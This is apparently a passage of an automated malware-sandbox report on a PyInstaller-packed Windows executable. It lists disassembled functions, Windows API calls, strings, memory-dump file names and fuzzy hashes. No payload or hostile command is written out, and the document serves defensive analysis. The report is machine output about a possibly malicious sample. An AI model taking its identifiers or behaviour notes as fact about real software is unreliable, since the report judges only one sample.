_invalid_parameter_noinfo.LIBCMT ref: 00007FF7C267604C
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7C2676176
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7C267622C

Strings

verbose, xrefs: 00007FF7C2676020

Memory Dump Source

Source File: 00000004.00000002.1720329401.00007FF7C2661000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C2660000, based on PE: true

Associated: 00000004.00000002.1720292059.00007FF7C2660000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720417432.00007FF7C268B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C269E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C26A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720520244.00007FF7C26A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c2660000_X9g8L63QGs.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: verbose
API String ID: 3215553584-579935070
Opcode ID: 8c3a45f75ca5c0a3459ca2e96ae2fbbf181a3d63a640e770f0a7cf37c7606cec
Instruction ID: b13c96d9389e21646e8d67393afa8a8b5dc76c55d7ac60490ffc2311014191d8
Opcode Fuzzy Hash: 8c3a45f75ca5c0a3459ca2e96ae2fbbf181a3d63a640e770f0a7cf37c7606cec
Instruction Fuzzy Hash: BC91C132A08A4681E761BE28E45437DB792AB50FA4FC44131DADA63BD5DFBCE845C330

Function 00007FF7C267FC38 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 219COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7C267FF17

Part of subcall function 00007FF7C2677AAC: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7C2677AC9

Strings

ccs, xrefs: 00007FF7C267FE52
UTF-16LEUNICODE, xrefs: 00007FF7C267FEB5
UTF-8, xrefs: 00007FF7C267FE96

Memory Dump Source

Source File: 00000004.00000002.1720329401.00007FF7C2661000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C2660000, based on PE: true

Associated: 00000004.00000002.1720292059.00007FF7C2660000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720417432.00007FF7C268B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C269E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C26A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720520244.00007FF7C26A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c2660000_X9g8L63QGs.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: UTF-16LEUNICODE$UTF-8$ccs
API String ID: 3215553584-1196891531
Opcode ID: 4ea7f6e1ba59c177a711b7ec70ee344f27d005a52efb2894dd87f7f788f8515e
Instruction ID: 5787cecd535270cd647b1233ff93a89aeea2fe23a07d31759dde7606a359ad43
Opcode Fuzzy Hash: 4ea7f6e1ba59c177a711b7ec70ee344f27d005a52efb2894dd87f7f788f8515e
Instruction Fuzzy Hash: 4781E232D0820285F7A47E25A100A79B6A2AB11F68FE54035DA8DB7FC5DFEDE901C771

Function 00007FF7C266D6B8 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 154COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF7C266D6E3
_IsNonwritableInCurrentImage.LIBCMT ref: 00007FF7C266D77A
RtlUnwindEx.KERNEL32 ref: 00007FF7C266D7D4

Strings

csm, xrefs: 00007FF7C266D761

Memory Dump Source

Source File: 00000004.00000002.1720329401.00007FF7C2661000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C2660000, based on PE: true

Associated: 00000004.00000002.1720292059.00007FF7C2660000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720417432.00007FF7C268B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C269E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C26A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720520244.00007FF7C26A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c2660000_X9g8L63QGs.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm
API String ID: 2395640692-1018135373
Opcode ID: c7f5fdff7c0b40b6635b3f9850cf21a5be83d788788a684f503aa9329af71794
Instruction ID: 06d564a4ff99842d35e74d70095c4ee3a4553d9f847a11be92abbd181f581516
Opcode Fuzzy Hash: c7f5fdff7c0b40b6635b3f9850cf21a5be83d788788a684f503aa9329af71794
Instruction Fuzzy Hash: 3051E53AB196428ADB14EF15D40963CB7A2FB44BA8F904134DACE57B84DFBCE841C724

Function 00007FF7C266F2F8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF7C266F320
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 00007FF7C266F408

Strings

csm, xrefs: 00007FF7C266F45A
csm, xrefs: 00007FF7C266F342

Memory Dump Source

Source File: 00000004.00000002.1720329401.00007FF7C2661000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C2660000, based on PE: true

Associated: 00000004.00000002.1720292059.00007FF7C2660000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720417432.00007FF7C268B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C269E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C26A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720520244.00007FF7C26A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c2660000_X9g8L63QGs.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: 1b872e8f6993e9c5779cc40e3c84c693849f7921638dfce8d08fafba9ab8d571
Instruction ID: 13110e3e5d79b316df58c15630aea303bec253a8f69fa59d04f4e7ac4172666d
Opcode Fuzzy Hash: 1b872e8f6993e9c5779cc40e3c84c693849f7921638dfce8d08fafba9ab8d571
Instruction Fuzzy Hash: B251D73251824286DB70AF219044368B7B1FB54BA4F985135DACE67F99CFBCE850C778

Function 00007FF7C266EF48 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 00007FF7C266EFA7
_CallSETranslator.LIBVCRUNTIME ref: 00007FF7C266EFF3

Strings

RCC, xrefs: 00007FF7C266EFC3
MOC, xrefs: 00007FF7C266EFBB

Memory Dump Source

Source File: 00000004.00000002.1720329401.00007FF7C2661000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C2660000, based on PE: true

Associated: 00000004.00000002.1720292059.00007FF7C2660000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720417432.00007FF7C268B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C269E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C26A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720520244.00007FF7C26A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c2660000_X9g8L63QGs.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: 1984f943fe60021c6db05f5888f7dd086acc6d0e2a461e0c712dd9be4fa02006
Instruction ID: 380d14fc372b62f1084b5537e562cd8e5221759e4425f2a47c354dc0ef9f410f
Opcode Fuzzy Hash: 1984f943fe60021c6db05f5888f7dd086acc6d0e2a461e0c712dd9be4fa02006
Instruction Fuzzy Hash: 1B618C32918BC581E720AF15E4417AAF7A1FB94BE4F444225EADD13B95CFBCE190CB24

Function 00007FF7C2667E10 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 81COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNEL32(00000000,?,00007FF7C266352C,?,00000000,00007FF7C2663F23), ref: 00007FF7C2667F22

Strings

%s%c, xrefs: 00007FF7C2667E94
\, xrefs: 00007FF7C2667E87
%.*s, xrefs: 00007FF7C2667EDB

Memory Dump Source

Source File: 00000004.00000002.1720329401.00007FF7C2661000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C2660000, based on PE: true

Associated: 00000004.00000002.1720292059.00007FF7C2660000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720417432.00007FF7C268B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C269E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C26A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720520244.00007FF7C26A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c2660000_X9g8L63QGs.jbxd

Similarity

API ID: CreateDirectory
String ID: %.*s$%s%c$\
API String ID: 4241100979-1685191245
Opcode ID: b1106a047486010b66b16d7d561c3e0e79f8eec2dc114c611d5a943da294bb6a
Instruction ID: b196924161bf0ec4b2190d38a47de716241255ffd9a057861788a08a29558063
Opcode Fuzzy Hash: b1106a047486010b66b16d7d561c3e0e79f8eec2dc114c611d5a943da294bb6a
Instruction Fuzzy Hash: 5E31E921619AC145EA21AF21E4507AAE366EB84BF4F800231EE9D57FC9DE7CD505C734

Function 00007FF7C2662810 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 65windowCOMMON

Download Yara Rule

APIs

MessageBoxW.USER32 ref: 00007FF7C26628EA

Strings

ERROR, xrefs: 00007FF7C266286F
Error, xrefs: 00007FF7C26628DD
[PYI-%d:%ls] , xrefs: 00007FF7C2662868

Memory Dump Source

Source File: 00000004.00000002.1720329401.00007FF7C2661000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C2660000, based on PE: true

Associated: 00000004.00000002.1720292059.00007FF7C2660000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720417432.00007FF7C268B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C269E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C26A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720520244.00007FF7C26A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c2660000_X9g8L63QGs.jbxd

Similarity

API ID: Message
String ID: ERROR$Error$[PYI-%d:%ls]
API String ID: 2030045667-255084403
Opcode ID: d0f77ace03032ad826a8cfca47aff52564341a40e7b1b64160a5aa56c6ce0663
Instruction ID: 0160224158223bd116642973b673956d0d3135a80895e48ead547f3b74eb2da5
Opcode Fuzzy Hash: d0f77ace03032ad826a8cfca47aff52564341a40e7b1b64160a5aa56c6ce0663
Instruction Fuzzy Hash: 7E21A662708B4192E710AF24F8447EAB365EB88794F804136EECDA3B56EF7CD555C720

Function 00007FF7C267C610 Relevance: 6.3, APIs: 4, Instructions: 299fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 00007FF7C267C68F
WriteFile.KERNEL32 ref: 00007FF7C267C957
WriteFile.KERNEL32 ref: 00007FF7C267C99D
GetLastError.KERNEL32 ref: 00007FF7C267CA53

Memory Dump Source

Source File: 00000004.00000002.1720329401.00007FF7C2661000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C2660000, based on PE: true

Associated: 00000004.00000002.1720292059.00007FF7C2660000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720417432.00007FF7C268B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C269E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C26A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720520244.00007FF7C26A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c2660000_X9g8L63QGs.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: 1ea6e931977968e7606fd026366deb17473f9f47aeaf25dd19fcfb7bb3399e1d
Instruction ID: 808846829a843145cf5868f0db15c03420e72cd35bafeaafaccb0e5e9df6ec03
Opcode Fuzzy Hash: 1ea6e931977968e7606fd026366deb17473f9f47aeaf25dd19fcfb7bb3399e1d
Instruction Fuzzy Hash: 48D11772B18B8189E710EF64E4402AC7772FB44BA8B818235DE9D67F89DF78D046C360

Function 00007FF7C267F9FC Relevance: 6.2, APIs: 4, Instructions: 162COMMON

Download Yara Rule

APIs

_get_daylight.LIBCMT ref: 00007FF7C267FAEC
_get_daylight.LIBCMT ref: 00007FF7C267FAFD
_get_daylight.LIBCMT ref: 00007FF7C267FB0E
_isindst.LIBCMT ref: 00007FF7C267FBD9

Memory Dump Source

Source File: 00000004.00000002.1720329401.00007FF7C2661000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C2660000, based on PE: true

Associated: 00000004.00000002.1720292059.00007FF7C2660000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720417432.00007FF7C268B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C269E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C26A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720520244.00007FF7C26A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c2660000_X9g8L63QGs.jbxd

Similarity

API ID: _get_daylight$_isindst
String ID:
API String ID: 4170891091-0
Opcode ID: 4d98307b2f9efdc6516e3695475c092fba069f5f92b05f4e8f1f7e1348ba3a44
Instruction ID: 00a2691f967975ab54d8655737ab6c6da1934f11a0290a7b323daf8c64e46c73
Opcode Fuzzy Hash: 4d98307b2f9efdc6516e3695475c092fba069f5f92b05f4e8f1f7e1348ba3a44
Instruction Fuzzy Hash: CE511972F0811186FB14FF64A955ABCB7A2AB00B78F910135DD5D62FE4DF78A441C720

Function 00007FF7C26757EC Relevance: 6.1, APIs: 4, Instructions: 119pipeCOMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 00007FF7C267581F
GetFileInformationByHandle.KERNEL32 ref: 00007FF7C2675881
GetLastError.KERNEL32 ref: 00007FF7C2675912
PeekNamedPipe.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7C2675724), ref: 00007FF7C267595E

Memory Dump Source

Source File: 00000004.00000002.1720329401.00007FF7C2661000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C2660000, based on PE: true

Associated: 00000004.00000002.1720292059.00007FF7C2660000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720417432.00007FF7C268B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C269E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C26A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720520244.00007FF7C26A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c2660000_X9g8L63QGs.jbxd

Similarity

API ID: File$ErrorHandleInformationLastNamedPeekPipeType
String ID:
API String ID: 2780335769-0
Opcode ID: 9a0c598da5bacb08a65281ee6853743b6bc645484a6b27ddd69bc7d98502ecbe
Instruction ID: 627af490715124a0f5634124f0df7602637242585265ccb12e27d2101e46bf86
Opcode Fuzzy Hash: 9a0c598da5bacb08a65281ee6853743b6bc645484a6b27ddd69bc7d98502ecbe
Instruction Fuzzy Hash: 2A515E22E186818AFB10FF71A4503BDA3A2AB44B68F944535DE8D67B89DFB8D441C770

Function 00007FF7C26620C0 Relevance: 6.1, APIs: 4, Instructions: 52COMMON

Download Yara Rule

APIs

EndDialog.USER32 ref: 00007FF7C26620F4
SetWindowLongPtrW.USER32 ref: 00007FF7C2662116
GetWindowLongPtrW.USER32 ref: 00007FF7C2662140
InvalidateRect.USER32 ref: 00007FF7C2662160

Memory Dump Source

Source File: 00000004.00000002.1720329401.00007FF7C2661000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C2660000, based on PE: true

Associated: 00000004.00000002.1720292059.00007FF7C2660000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720417432.00007FF7C268B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C269E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C26A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720520244.00007FF7C26A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c2660000_X9g8L63QGs.jbxd

Similarity

API ID: LongWindow$DialogInvalidateRect
String ID:
API String ID: 1956198572-0
Opcode ID: 3f66ec3ad31a24d6b03c6ecd933265a99c2c3f38e7b83c206d3886b5f9d1bb92
Instruction ID: 38bfaddd78ebfa15609d57c5b25731316e19069fbbcc02f41ba43bb0ae00e2d6
Opcode Fuzzy Hash: 3f66ec3ad31a24d6b03c6ecd933265a99c2c3f38e7b83c206d3886b5f9d1bb92
Instruction Fuzzy Hash: 3D11E921A0C58682F754AF6AE5452BAD263EB987A0FC44030DF8917F9ECDBDD491C338

Function 00007FF7C2685B8C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 121COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7C26817D0: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7C2681803

_get_daylight.LIBCMT ref: 00007FF7C2685CA4
_get_daylight.LIBCMT ref: 00007FF7C2685CB5

Strings

?, xrefs: 00007FF7C2685C35

Memory Dump Source

Source File: 00000004.00000002.1720329401.00007FF7C2661000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C2660000, based on PE: true

Associated: 00000004.00000002.1720292059.00007FF7C2660000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720417432.00007FF7C268B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C269E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C26A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720520244.00007FF7C26A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c2660000_X9g8L63QGs.jbxd

Similarity

API ID: _get_daylight$_invalid_parameter_noinfo
String ID: ?
API String ID: 1286766494-1684325040
Opcode ID: 49037f27f8a3fd0af602071961786b5c11050eb40cc6520dd4d88adff463e317
Instruction ID: 0ceaa519cdc4b31b14053640a7ae0d1c5edef379762368c9281ddd78c9de96e6
Opcode Fuzzy Hash: 49037f27f8a3fd0af602071961786b5c11050eb40cc6520dd4d88adff463e317
Instruction Fuzzy Hash: 2D410612A08682C1FB60AF25A445379D692EB90BB8F944239EFDC16FD5DFBCD441CB20

Function 00007FF7C2679084 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 111COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7C26790B6

Part of subcall function 00007FF7C267A9B8: RtlFreeHeap.NTDLL(?,?,?,00007FF7C2682D92,?,?,?,00007FF7C2682DCF,?,?,00000000,00007FF7C2683295,?,?,?,00007FF7C26831C7), ref: 00007FF7C267A9CE
Part of subcall function 00007FF7C267A9B8: GetLastError.KERNEL32(?,?,?,00007FF7C2682D92,?,?,?,00007FF7C2682DCF,?,?,00000000,00007FF7C2683295,?,?,?,00007FF7C26831C7), ref: 00007FF7C267A9D8

GetModuleFileNameW.KERNEL32(?,?,?,?,?,00007FF7C266CC15), ref: 00007FF7C26790D4

Strings

C:\Users\user\Desktop\X9g8L63QGs.exe, xrefs: 00007FF7C26790C2

Memory Dump Source

Source File: 00000004.00000002.1720329401.00007FF7C2661000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C2660000, based on PE: true

Associated: 00000004.00000002.1720292059.00007FF7C2660000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720417432.00007FF7C268B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C269E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C26A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720520244.00007FF7C26A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c2660000_X9g8L63QGs.jbxd

Similarity

API ID: ErrorFileFreeHeapLastModuleName_invalid_parameter_noinfo
String ID: C:\Users\user\Desktop\X9g8L63QGs.exe
API String ID: 3580290477-4248481541
Opcode ID: 6949f310d66ea20a01752be9fefe254e5f7f697695929ffcc1b4329691481a3a
Instruction ID: 491e795443bbf2011f6b9bd4d6362aefc3ab38454eb08626a6257a3be5a125c1
Opcode Fuzzy Hash: 6949f310d66ea20a01752be9fefe254e5f7f697695929ffcc1b4329691481a3a
Instruction Fuzzy Hash: E8417F32A09A42C5E754FF25A4400B8A3E6EB44BA4B954035E98E63F85DFBCE491C370

Function 00007FF7C267CCA8 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 00007FF7C267CDBF
GetLastError.KERNEL32 ref: 00007FF7C267CDE1

Strings

U, xrefs: 00007FF7C267CD6B

Memory Dump Source

Source File: 00000004.00000002.1720329401.00007FF7C2661000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C2660000, based on PE: true

Associated: 00000004.00000002.1720292059.00007FF7C2660000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720417432.00007FF7C268B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C269E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C26A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720520244.00007FF7C26A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c2660000_X9g8L63QGs.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 476bd95e1daeb27f29af256220462f16043a6e728498dde3caabbd6ec9016d26
Instruction ID: d846dfcdc70b74b2e437ac50950f86d31391642b2b8afa24462463046fdeb9cb
Opcode Fuzzy Hash: 476bd95e1daeb27f29af256220462f16043a6e728498dde3caabbd6ec9016d26
Instruction Fuzzy Hash: D041C772B18B8181DB20EF25F4443A9A761FB88BA4F954035EE8D97B94EF7CD441C760

Function 00007FF7C267F628 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66COMMON

Download Yara Rule

APIs

GetCurrentDirectoryW.KERNEL32 ref: 00007FF7C267F668
GetCurrentDirectoryW.KERNEL32 ref: 00007FF7C267F6BA

Strings

:, xrefs: 00007FF7C267F67E

Memory Dump Source

Source File: 00000004.00000002.1720329401.00007FF7C2661000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C2660000, based on PE: true

Associated: 00000004.00000002.1720292059.00007FF7C2660000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720417432.00007FF7C268B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C269E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C26A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720520244.00007FF7C26A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c2660000_X9g8L63QGs.jbxd

Similarity

API ID: CurrentDirectory
String ID: :
API String ID: 1611563598-336475711
Opcode ID: d6dc5ef3b9a701496246f0bbbe5215094a09db29d56a445c076fb19df1080212
Instruction ID: a000ec26833ea12dec27e375ca0018830e6a1e0d7b40ce0115051b4621239987
Opcode Fuzzy Hash: d6dc5ef3b9a701496246f0bbbe5215094a09db29d56a445c076fb19df1080212
Instruction Fuzzy Hash: 0A21B162A1868182EB20BF11E44466DA3B2FB84F54FE54035DACC63B94DFBCE945CB71

Function 00007FF7C266FDB8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

RtlPcToFileHeader.KERNEL32 ref: 00007FF7C266FE08
RaiseException.KERNEL32 ref: 00007FF7C266FE49

Strings

csm, xrefs: 00007FF7C266FE36

Memory Dump Source

Source File: 00000004.00000002.1720329401.00007FF7C2661000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C2660000, based on PE: true

Associated: 00000004.00000002.1720292059.00007FF7C2660000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720417432.00007FF7C268B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C269E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C26A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720520244.00007FF7C26A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c2660000_X9g8L63QGs.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 4f0f6445cfedea8dceb7eb9436a550d57130d2c9509dbddfada5299d94659d4a
Instruction ID: b3fb58a135ef8c04e6c2fd541d6bdb08b19f7ee3a4973e327c7f56b8e3f73abc
Opcode Fuzzy Hash: 4f0f6445cfedea8dceb7eb9436a550d57130d2c9509dbddfada5299d94659d4a
Instruction Fuzzy Hash: 24115B32618B8182EB609F25F440269B7E2FB88BA4F984230DACD17B69DF7CD551CB10

Function 00007FF7C26807AC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 36COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7C26807DC
GetDriveTypeW.KERNEL32 ref: 00007FF7C268081C

Strings

:, xrefs: 00007FF7C2680805

Memory Dump Source

Source File: 00000004.00000002.1720329401.00007FF7C2661000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C2660000, based on PE: true

Associated: 00000004.00000002.1720292059.00007FF7C2660000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720417432.00007FF7C268B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C269E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C26A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720520244.00007FF7C26A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c2660000_X9g8L63QGs.jbxd

Similarity

API ID: DriveType_invalid_parameter_noinfo
String ID: :
API String ID: 2595371189-336475711
Opcode ID: 12447209ac998d916ea5af24bee96286b8310982615a7f3bb8f9e7bff02e83a7
Instruction ID: ef2d2fd69645b69c9cc40cdd2b04bc3d0f9aee12e8756f2a5d2b6db343cc2762
Opcode Fuzzy Hash: 12447209ac998d916ea5af24bee96286b8310982615a7f3bb8f9e7bff02e83a7
Instruction Fuzzy Hash: B001716291C642C5F760BF60A46627EA3A1EF44B28FC00436D5CDA6B91EFBCE554CB34

Analysis Process: X9g8L63QGs.exePID: 3800, Parent PID: 3396COMMON

Execution Graph

Execution Coverage:	2.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	1.5%
Total number of Nodes:	1218
Total number of Limit Nodes:	102

Executed Functions

Function 00007FFB1BA410C0 Relevance: 349.6, APIs: 6, Strings: 193, Instructions: 1313networkCOMMON

Download Yara Rule

APIs

WSAStartup.WS2_32 ref: 00007FFB1BA410F8
00007FFB0C3D20F0.PYTHON312 ref: 00007FFB1BA4110D
